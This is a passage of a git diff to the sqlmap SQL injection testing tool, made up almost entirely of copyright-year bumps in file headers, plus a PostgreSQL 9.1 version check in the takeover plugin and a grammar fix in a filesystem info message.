-1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index c02689ccf..53a9728cc 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index d4ea9c82d..2d3f4b7b0 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index f27eade59..c20935c79 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index e33d9d58a..7918613a4 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 3fc953055..2f3df49f1 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 4f03e754e..fdf2ef1ea 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 19f4cf43a..657b8af5a 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 6edc88d14..f8044a604 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 301fd3c69..0be2fd0bd 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 7be7b96df..6343ada1f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index e58e4b481..6dfe3bb58 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index d3803bfee..15f875388 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 1a09a1be9..5bd61bc79 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index bea10684c..6d73fe55d 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 3344870d9..2db7befff 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index fe012c968..d36bd7187 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5c149fdd0..fd7e4c452 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 48c878147..c751350c3 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index b47e1fbce..e8102a43d 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 0688fc29b..1972cff2f 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index b6d56bd25..2789dafa1 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 5db5886e1..bcac4ccc8 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 0b9820b83..f0ea52c42 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index f4c1c43e1..0ae590382 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index f75f410ca..2fd8edebc 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 5c3c10cca..b310c43cd 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -43,7 +43,9 @@ class Takeover(GenericTakeover): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.0": + if banVer >= "9.1": + majorVer = "9.1" + elif banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index c71ff9876..047b547ca 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 751be07ab..dfe9dcf4a 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index a5509c564..e0b07881a 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 2e6877451..8a0416dd5 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 6073ab313..dd1b7e56b 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 6e9896548..f1909779f 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index c619f23f3..b9e06ded6 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 7c6eb775f..a3f980413 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 76e61e71b..56017af6d 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 10de98918..9a1da9ae6 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 1452832b9..01a344185 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 8286d6aa8..19334526a 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 3cf73627b..03f0767ed 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 026bcf7f7..0fae2149f 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 17e3c7756..c039304f3 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 12880e94b..1cb83560a 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 9fe395098..62b925d59 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index c3618a6b4..717c5fada 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index a537dd469..a3198cdaa 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 82367c5ec..11617ae98 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -66,7 +66,7 @@ class Filesystem: if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file %s and the remote file " % localFile - infoMsg += "%s has the same size" % remoteFile + infoMsg += "%s have the same size" % remoteFile elif remoteFileSize > localFileSize: infoMsg = "the remote file %s is larger than " % remoteFile infoMsg += "the local file %s" % localFile diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 8bddb41f9..3cbc11e98 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index df72e771e..f62e17ebf 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index c500b9613..f38f7428b 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index fdca75924..5a3a77d04 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 7e5ff3e7c..5de0de8af 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 37b6be961..0ec373bd2 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index 21f3d1727..5a889d5f9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index e6ed63281..089cc80c8 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index a157bb8ae..6f779e61d 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 67066b251..75f652341 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index b15e179be..763c78643 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index d087c4392..f5520f067 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index bdee16442..a508ae40e 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index ec84e4fe5..ee7a8f3c5 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index cccdf4825..e6af4a2f9 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 29ebf8fef..3e7f76183 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 30d0a9526..e36b055bd 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index bf92962d8..c087e6e3f 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 5ce611c04..9b78ee8ca 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index c5fc267c5..a7fbfeaff 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 